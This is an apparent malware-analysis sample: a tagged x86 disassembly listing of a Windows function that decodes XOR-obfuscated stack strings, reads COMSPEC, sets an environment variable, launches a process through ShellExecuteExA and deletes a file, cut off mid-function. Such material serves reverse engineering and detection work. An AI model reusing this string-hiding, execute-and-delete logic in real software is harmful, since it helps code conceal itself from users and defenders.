Function at 0x1006ddc0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Encode data using xor
Get comspec environment variable
Query environment variable
Set environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d71e3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x468
mov eax, dword [0x10105230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x43c], edx
mov edi, ecx
mov ch, 0x2b
mov dword [ebp - 0x238], 0x4a4f052b
mov al, 5
mov word [ebp - 0x234], 0x5f
mov cl, 0x4f
mov dl, 0x4a
mov ah, 0x5f
mov dword [ebp - 4], 0
xor dl, ch
xor cl, ch
mov byte [ebp - 0x230], dl
xor al, ch
mov byte [ebp - 0x231], cl
xor ah, ch
mov byte [ebp - 0x232], al
mov edx, edi
mov byte [ebp - 0x22f], ah
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x22e], 0
call fcn.1005b9c0
mov dword [ebp - 0x438], eax
mov dh, 0x33
mov dword [ebp - 0x254], 0x3f28065a
mov byte [ebp - 0x431], dh
mov dl, 0x28
mov dh, dl
mov dword [ebp - 0x250], 0x28333b2a
mov byte [ebp - 0x434], dh
mov cl, 6
mov dh, 0x29
mov word [ebp - 0x24c], 0x629
mov byte [ebp - 0x433], dh
mov ch, 0x3f
mov dh, cl
mov byte [ebp - 0x24a], 0
mov al, 0x2a
mov byte [ebp - 0x432], dh
mov ah, 0x3b
mov byte [ebp - 4], 2
xor cl, byte [ebp - 0x254]
mov dh, byte [ebp - 0x431]
mov byte [ebp - 0x249], cl
mov cl, byte [ebp - 0x254]
xor al, cl
mov byte [ebp - 0x240], 0
mov byte [ebp - 0x246], al
xor dl, cl
mov al, byte [ebp - 0x434]
xor ch, cl
xor al, cl
mov byte [ebp - 0x248], dl
mov byte [ebp - 0x243], al
xor ah, cl
mov al, byte [ebp - 0x433]
xor dh, cl
xor al, cl
mov byte [ebp - 0x247], ch
mov byte [ebp - 0x242], al
mov al, byte [ebp - 0x432]
xor al, cl
mov byte [ebp - 0x245], ah
cmp dword [0x10105e5c], 0
mov byte [ebp - 0x244], dh
mov byte [ebp - 0x241], al
push 0x10105e4c
jne 0x1006df48
lea ecx, [ebp - 0x2a8]
call fcn.100171e0
jmp 0x1006dfc8
lea ecx, [ebp - 0x2d8]
call fcn.100171e0
xor esi, esi
cmp dword [0x10105e5c], esi
jbe 0x1006dfaa
nop dword [eax]
cmp dword [ebp - 0x2c4], 8
lea ecx, [ebp - 0x2d8]
mov eax, dword [0x10105e48]
cmovae ecx, dword [ebp - 0x2d8]
setae byte [ebp - 0x432]
add eax, esi
xor ax, word [ecx + esi*2]
cmp byte [ebp - 0x432], 0
movzx ecx, ax
lea eax, [ebp - 0x2d8]
cmovne eax, dword [ebp - 0x2d8]
mov word [eax + esi*2], cx
inc esi
cmp esi, dword [0x10105e5c]
jb 0x1006df60
movups xmm0, xmmword [ebp - 0x2d8]
movups xmmword [ebp - 0x2a8], xmm0
movq xmm0, qword [ebp - 0x2c8]
movq qword [ebp - 0x298], xmm0
push ecx
lea edx, [ebp - 0x2a8]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x308]
call fcn.10010210
add esp, 4
lea ecx, [ebp - 0x249]
mov byte [ebp - 4], 4
push ecx
mov ecx, eax
call fcn.10008e80
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x320], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x310], xmm0
push dword [ebp - 0x438]
mov dword [eax + 0x10], 0
lea ecx, [ebp - 0x2f0]
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 0x43c]
mov byte [ebp - 4], 5
call fcn.10008b20
lea eax, [ebp - 0x232]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x2f0]
call fcn.10008e80
xorps xmm0, xmm0
mov dword [ebp - 0x328], 0
movups xmmword [ebp - 0x338], xmm0
mov dword [ebp - 0x324], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x338], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x328], xmm0
mov byte [ebp - 4], 8
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 0x10
jb 0x1006e0d7
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e0cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f197
push ecx
push edx
call fcn.1009517b
add esp, 8
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x1006e130
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e126
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f197
push ecx
push edx
call fcn.1009517b
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 0x10
jb 0x1006e16e
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e164
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f197
push ecx
push edx
call fcn.1009517b
add esp, 8
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x294]
cmp ecx, 8
jb 0x1006e1cd
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e1c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f197
push ecx
push edx
call fcn.1009517b
add esp, 8
xor eax, eax
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0x10
jb 0x1006e228
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e21e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f197
push ecx
push edx
call fcn.1009517b
add esp, 8
mov dl, 0x33
mov dword [ebp - 0x238], 0x52511d33
mov al, 0x1d
mov word [ebp - 0x234], 0x47
mov cl, 0x51
mov ah, 0x52
mov ch, 0x47
mov byte [ebp - 4], 0xf
xor cl, dl
xor ch, dl
mov byte [ebp - 0x231], cl
xor al, dl
mov byte [ebp - 0x22f], ch
xor ah, dl
mov byte [ebp - 0x232], al
mov edx, edi
mov byte [ebp - 0x230], ah
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x22e], 0
call fcn.1005b9c0
mov edi, eax
mov dh, 0x36
mov dword [ebp - 0x254], 0x3a2d035f
mov byte [ebp - 0x432], dh
mov dl, 0x2d
mov dh, dl
mov dword [ebp - 0x250], 0x2d363e2f
mov byte [ebp - 0x433], dh
mov cl, 3
mov dh, 0x2c
mov word [ebp - 0x24c], 0x32c
mov byte [ebp - 0x434], dh
mov ch, 0x3a
mov dh, cl
mov byte [ebp - 0x24a], 0
mov al, 0x2f
mov byte [ebp - 0x431], dh
mov ah, 0x3e
mov byte [ebp - 4], 0x11
xor cl, byte [ebp - 0x254]
mov dh, byte [ebp - 0x432]
mov byte [ebp - 0x249], cl
mov cl, byte [ebp - 0x254]
xor al, cl
mov byte [ebp - 0x240], 0
mov byte [ebp - 0x246], al
xor dl, cl
mov al, byte [ebp - 0x433]
xor ch, cl
xor al, cl
mov byte [ebp - 0x248], dl
mov byte [ebp - 0x243], al
xor ah, cl
mov al, byte [ebp - 0x434]
xor dh, cl
xor al, cl
mov byte [ebp - 0x247], ch
mov byte [ebp - 0x242], al
mov al, byte [ebp - 0x431]
xor al, cl
mov byte [ebp - 0x245], ah
cmp dword [0x10105e5c], 0
mov byte [ebp - 0x244], dh
mov byte [ebp - 0x241], al
push 0x10105e4c
jne 0x1006e360
lea ecx, [ebp - 0x2d8]
call fcn.100171e0
jmp 0x1006e3e8
lea ecx, [ebp - 0x2f0]
call fcn.100171e0
xor esi, esi
cmp dword [0x10105e5c], esi
jbe 0x1006e3ca
nop word [eax + eax]
cmp dword [ebp - 0x2dc], 8
lea ecx, [ebp - 0x2f0]
mov eax, dword [0x10105e48]
cmovae ecx, dword [ebp - 0x2f0]
setae byte [ebp - 0x432]
add eax, esi
xor ax, word [ecx + esi*2]
cmp byte [ebp - 0x432], 0
movzx ecx, ax
lea eax, [ebp - 0x2f0]
cmovne eax, dword [ebp - 0x2f0]
mov word [eax + esi*2], cx
inc esi
cmp esi, dword [0x10105e5c]
jb 0x1006e380
movups xmm0, xmmword [ebp - 0x2f0]
movups xmmword [ebp - 0x2d8], xmm0
movq xmm0, qword [ebp - 0x2e0]
movq qword [ebp - 0x2c8], xmm0
push ecx
lea edx, [ebp - 0x2d8]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x368]
call fcn.10010210
add esp, 4
lea ecx, [ebp - 0x249]
mov byte [ebp - 4], 0x13
push ecx
mov ecx, eax
call fcn.10008e80
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x320], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x310], xmm0
mov dword [eax + 0x10], 0
lea ecx, [ebp - 0x350]
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x320]
push edi
push eax
push dword [ebp - 0x43c]
mov byte [ebp - 4], 0x14
call fcn.10008b20
lea eax, [ebp - 0x232]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x350]
call fcn.10008e80
xorps xmm0, xmm0
mov dword [ebp - 0x2b0], 0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2ac], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b0], xmm0
mov byte [ebp - 4], 0x17
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x33c]
cmp ecx, 0x10
jb 0x1006e4f2
mov edx, dword [ebp - 0x350]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e4e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f19c
push ecx
push edx
call fcn.1009517b
add esp, 8
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 0xf
mov byte [ebp - 0x350], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x1006e54b
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e541
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f19c
push ecx
push edx
call fcn.1009517b
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x354]
cmp ecx, 0x10
jb 0x1006e589
mov edx, dword [ebp - 0x368]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e57f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f19c
push ecx
push edx
call fcn.1009517b
add esp, 8
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 0xf
mov byte [ebp - 0x368], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 8
jb 0x1006e5e8
mov edx, dword [ebp - 0x2d8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e5de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f19c
push ecx
push edx
call fcn.1009517b
add esp, 8
xor eax, eax
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 7
mov word [ebp - 0x2d8], ax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x36c]
cmp ecx, 0x10
jb 0x1006e643
mov edx, dword [ebp - 0x380]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e639
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f19c
push ecx
push edx
call fcn.1009517b
add esp, 8
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x36c], 0xf
mov byte [ebp - 0x380], 0
push ecx
lea edx, [ebp - 0x2c0]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x270]
call fcn.10010320
add esp, 4
mov dword [ebp - 0x438], eax
cmp dword [eax + 0x14], 8
jb 0x1006e68b
mov eax, dword [eax]
mov dword [ebp - 0x438], eax
mov cl, 0x72
mov dword [ebp - 0x23c], 0x7f727647
mov dh, cl
mov dword [ebp - 0x238], 0x77727676
mov al, 0x76
mov byte [ebp - 0x432], dh
mov ah, al
mov byte [ebp - 0x234], 0
mov dh, 0x77
mov dl, 0x7f
mov ch, ah
mov byte [ebp - 0x433], dh
mov byte [ebp - 4], 0x1f
xor al, byte [ebp - 0x23c]
mov dh, byte [ebp - 0x432]
mov byte [ebp - 0x233], al
mov al, byte [ebp - 0x23c]
xor cl, al
mov byte [ebp - 0x22c], 0
xor ch, al
mov byte [ebp - 0x232], cl
xor dl, al
mov byte [ebp - 0x22f], ch
xor dh, al
mov byte [ebp - 0x231], dl
xor ah, al
mov byte [ebp - 0x22e], dh
mov al, byte [ebp - 0x433]
lea edx, [ebp - 0x338]
xor al, byte [ebp - 0x23c]
push ecx
lea ecx, [ebp - 0x308]
mov byte [ebp - 0x230], ah
mov byte [ebp - 0x22d], al
call fcn.10010320
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x1006e73a
mov eax, dword [eax]
push 0x100ecbdc
push eax
xor esi, esi
call fcn.100a7c6f
mov edi, eax
add esp, 8
test edi, edi
jne 0x1006e762
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [ebp - 0x431], 1
jmp 0x1006e821
push 0x100ed014
push dword [ebp - 0x438]
call fcn.100a7c6f
add esp, 8
mov dword [ebp - 0x438], eax
test eax, eax
jne 0x1006e791
push edi
call fcn.100a1ce6
mov byte [ebp - 0x431], 1
jmp 0x1006e81e
inc esi
cmp byte [ebp + esi - 0x233], 0
jne 0x1006e791
push edi
call fcn.100a2fe1
add esp, 4
mov byte [ebp - 0x431], al
push edi
call fcn.100a7fd8
add esp, 4
test eax, eax
jne 0x1006e803
nop dword [eax + eax]
mov al, byte [ebp - 0x431]
xor ecx, ecx
push dword [ebp - 0x438]
cmp esi, 7
cmovle ecx, esi
sub al, byte [ebp + ecx - 0x233]
lea esi, [ecx + 1]
movsx eax, al
push eax
call fcn.100a2172
push edi
call fcn.100a2fe1
add esp, 0xc
mov byte [ebp - 0x431], al
push edi
call fcn.100a7fd8
add esp, 4
test eax, eax
je 0x1006e7c0
push edi
call fcn.100a1ce6
add esp, 4
push dword [ebp - 0x438]
call fcn.100a1ce6
mov byte [ebp - 0x431], 0
add esp, 4
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 8
jb 0x1006e861
mov edx, dword [ebp - 0x308]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e857
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1a1
push ecx
push edx
call fcn.1009517b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 7
mov word [ebp - 0x308], ax
cmp ecx, 8
jb 0x1006e8c2
mov edx, dword [ebp - 0x270]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e8b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1a1
push ecx
push edx
call fcn.1009517b
add esp, 8
cmp byte [ebp - 0x431], 0
je 0x1006e9e5
push ecx
lea ecx, [ebp - 0x430]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x420]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100efd30]
mov esi, eax
movups xmmword [ebp - 0x280], xmm0
mov dword [ebp - 0x270], 0x203d20
mov byte [ebp - 4], 0x21
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x27f]
xor al, byte [ebp - 0x280]
mov byte [ebp + ecx - 0x26c], al
inc ecx
cmp ecx, 0x12
jb 0x1006e930
lea edx, [ebp - 0x26c]
mov byte [ebp - 0x25a], 0
mov ecx, esi
call fcn.10006770
mov byte [ebp - 4], 0x20
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x430]
lea eax, [ebp - 0x270]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x22
cmp dword [eax + 0x14], 0x10
jb 0x1006e987
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0x10
jb 0x1006e9ce
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006e9c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1a6
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x430]
call fcn.10004400
mov byte [ebp - 0x431], 0
jmp 0x1006f007
cmp dword [ebp - 0x2ac], 0x10
lea eax, [ebp - 0x2c0]
push 0
cmovae eax, dword [ebp - 0x2c0]
push eax
mov byte [ebp - 0x431], 0
call fcn.100a312c
add esp, 8
cmp eax, 0xffffffff
jne 0x1006eb62
push ecx
lea ecx, [ebp - 0x430]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x420]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001ec80
mov edx, 0x100ec450
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100f00b0]
mov esi, eax
movups xmmword [ebp - 0x290], xmm0
mov dword [ebp - 0x280], 0x5234607b
mov dword [ebp - 0x27c], 0x707a617b
mov dword [ebp - 0x278], 0x342a2934
mov byte [ebp - 0x274], 0
mov byte [ebp - 4], 0x24
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x28f]
xor al, byte [ebp - 0x290]
mov byte [ebp + ecx - 0x273], al
inc ecx
cmp ecx, 0x1b
jb 0x1006ea90
lea edx, [ebp - 0x273]
mov byte [ebp - 0x258], 0
mov ecx, esi
call fcn.10006770
cmp dword [ebp - 0x2ac], 0x10
lea edx, [ebp - 0x2c0]
push dword [ebp - 0x2b0]
cmovae edx, dword [ebp - 0x2c0]
mov ecx, eax
call fcn.10007140
add esp, 4
mov byte [ebp - 4], 0x23
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x430]
lea eax, [ebp - 0x270]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x25
cmp dword [eax + 0x14], 0x10
jb 0x1006eb0b
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0x10
jb 0x1006eb52
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006eb48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1ab
push ecx
push edx
call fcn.1009517b
add esp, 8
lea ecx, [ebp - 0x430]
call fcn.10004400
jmp 0x1006efec
mov ax, word [0x100ef9c0]
xorps xmm0, xmm0
movups xmmword [ebp - 0x254], xmm0
mov word [ebp - 0x254], ax
mov al, byte [0x100ef9c2]
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x252], al
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x2c0]
cmp dword [ebp - 0x2ac], 0x10
mov esi, dword [ebp - 0x2b0]
cmovae ecx, dword [ebp - 0x2c0]
mov dword [ebp - 0x244], 4
mov word [ebp - 0x251], 0x22
push esi
push ecx
cmp esi, 0xb
ja 0x1006ebe8
lea eax, [esi + 4]
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x250]
push eax
call fcn.100971a0
add esp, 0xc
mov byte [ebp + esi - 0x250], 0
jmp 0x1006ebfa
push dword [ebp - 0x43c]
lea ecx, [ebp - 0x254]
push esi
call fcn.10008d20
mov edx, dword [ebp - 0x240]
mov eax, edx
mov ecx, dword [ebp - 0x244]
sub eax, ecx
cmp eax, 1
jb 0x1006ec30
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x254]
cmovae eax, dword [ebp - 0x254]
mov word [eax + ecx], 0x22
jmp 0x1006ec4a
push 1
push 0x100ef9c4
push dword [ebp - 0x43c]
lea ecx, [ebp - 0x254]
push 1
call fcn.10008d20
mov dh, 0x37
mov dword [ebp - 0x23c], 0x2b222c4f
mov ch, 0x2a
mov byte [ebp - 0x432], dh
mov dh, ch
mov dword [ebp - 0x238], 0x2a372a61
mov al, 0x2c
mov byte [ebp - 0x433], dh
mov cl, 0x22
mov byte [ebp - 0x234], 0
mov dl, 0x2b
mov ah, 0x61
mov byte [ebp - 4], 0x27
xorps xmm0, xmm0
xor al, byte [ebp - 0x23c]
mov dh, byte [ebp - 0x432]
mov byte [ebp - 0x233], al
mov al, byte [ebp - 0x23c]
xor cl, al
mov byte [ebp - 0x22c], 0
xor dl, al
mov byte [ebp - 0x232], cl
xor ch, al
mov byte [ebp - 0x231], dl
xor dh, al
mov byte [ebp - 0x22f], ch
xor ah, al
mov byte [ebp - 0x22e], dh
mov al, byte [ebp - 0x433]
lea ecx, [ebp - 0x233]
xor al, byte [ebp - 0x23c]
lea edx, [ecx + 1]
mov byte [ebp - 0x230], ah
mov byte [ebp - 0x22d], al
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1006ed03
sub ecx, edx
lea eax, [ebp - 0x233]
push ecx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.1000ad50
cmp dword [ebp - 0x294], 0x10
lea eax, [ebp - 0x2a8]
push 0x20a
cmovae eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x240], 0x10
mov dword [ebp - 0x468], eax
lea eax, [ebp - 0x254]
cmovae eax, dword [ebp - 0x254]
mov dword [ebp - 0x464], eax
lea eax, [ebp - 0x228]
push 0
push eax
mov dword [ebp - 0x478], 0x3c
mov dword [ebp - 0x474], 0x8040
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x460], 0
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 0
call fcn.10097780
add esp, 0xc
lea eax, [ebp - 0x228]
push 0x105
push eax
push 0x100ef9c8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
mov dword [ebp - 0x3f8], 0x650026
mov edx, 0x26
mov dword [ebp - 0x3f4], 0x7a001c
mov dword [ebp - 0x3f0], 0x4f0071
xor ecx, ecx
mov dword [ebp - 0x3ec], 0x420048
mov dword [ebp - 0x3e8], 0x510049
mov dword [ebp - 0x3e4], 0x7a0055
mov dword [ebp - 0x3e0], 0x5f0075
mov dword [ebp - 0x3dc], 0x520055
mov dword [ebp - 0x3d8], 0x4b0043
mov dword [ebp - 0x3d4], 0x140015
mov dword [ebp - 0x3d0], 0x45007a
mov dword [ebp - 0x3cc], 0x42004b
mov dword [ebp - 0x3c8], 0x430008
mov dword [ebp - 0x3c4], 0x43005e
mov word [ebp - 0x3c0], ax
mov ax, word [ebp + ecx*2 - 0x3f6]
xor ax, dx
mov word [ebp + ecx*2 - 0x3be], ax
inc ecx
cmp ecx, 0x1b
jae 0x1006ee84
mov dx, word [ebp - 0x3f8]
jmp 0x1006ee62
xor eax, eax
mov dword [ebp - 0x278], 0x360034
mov word [ebp - 0x388], ax
mov word [ebp - 0x26c], ax
mov dword [ebp - 0x27c], 0x38007b
mov ecx, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x27a]
xor eax, ecx
mov dword [ebp - 0x274], 0x2b0028
mov word [ebp - 0x26a], ax
mov eax, dword [ebp - 0x278]
xor eax, ecx
mov dword [ebp - 0x270], 0x38003e
mov word [ebp - 0x268], ax
mov eax, dword [ebp - 0x276]
xor eax, ecx
mov word [ebp - 0x266], ax
mov eax, dword [ebp - 0x274]
xor eax, ecx
mov word [ebp - 0x264], ax
mov eax, dword [ebp - 0x272]
xor eax, ecx
mov word [ebp - 0x262], ax
mov eax, dword [ebp - 0x270]
xor eax, ecx
mov word [ebp - 0x260], ax
mov eax, dword [ebp - 0x26e]
xor eax, ecx
mov word [ebp - 0x25e], ax
xor eax, eax
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x3be]
push eax
lea eax, [ebp - 0x26a]
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1006f099
mov ecx, dword [ebp - 0x294]
cmp ecx, 0x10
jb 0x1006ef97
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006ef8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1b5
push ecx
push edx
call fcn.1009517b
add esp, 8
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
cmp ecx, 0x10
jb 0x1006efec
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006efe2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1b5
push ecx
push edx
call fcn.1009517b
add esp, 8
cmp dword [ebp - 0x2ac], 0x10
lea eax, [ebp - 0x2c0]
cmovae eax, dword [ebp - 0x2c0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x2ac]
cmp ecx, 0x10
jb 0x1006f041
mov edx, dword [ebp - 0x2c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006f037
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1b0
push ecx
push edx
call fcn.1009517b
add esp, 8
mov ecx, dword [ebp - 0x324]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0xf
mov byte [ebp - 0x2c0], 0
cmp ecx, 0x10
jb 0x1006f173
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006f169
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1b0
jmp 0x1006f169
mov eax, 0x51eb851f
mul dword [ebp - 0x43c]
mov esi, edx
shr esi, 5
test esi, esi
je 0x1006f0cf
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x32
push dword [ebp - 0x440]
dec esi
call edi
test eax, eax
je 0x1006f0c8
test esi, esi
jne 0x1006f0b3
jmp 0x1006f0cf
mov byte [ebp - 0x431], 1
push dword [ebp - 0x440]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x294]
cmp ecx, 0x10
jb 0x1006f115
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006f10b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1b5
push ecx
push edx
call fcn.1009517b
add esp, 8
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
cmp ecx, 0x10
jb 0x1006efec
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006efe2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
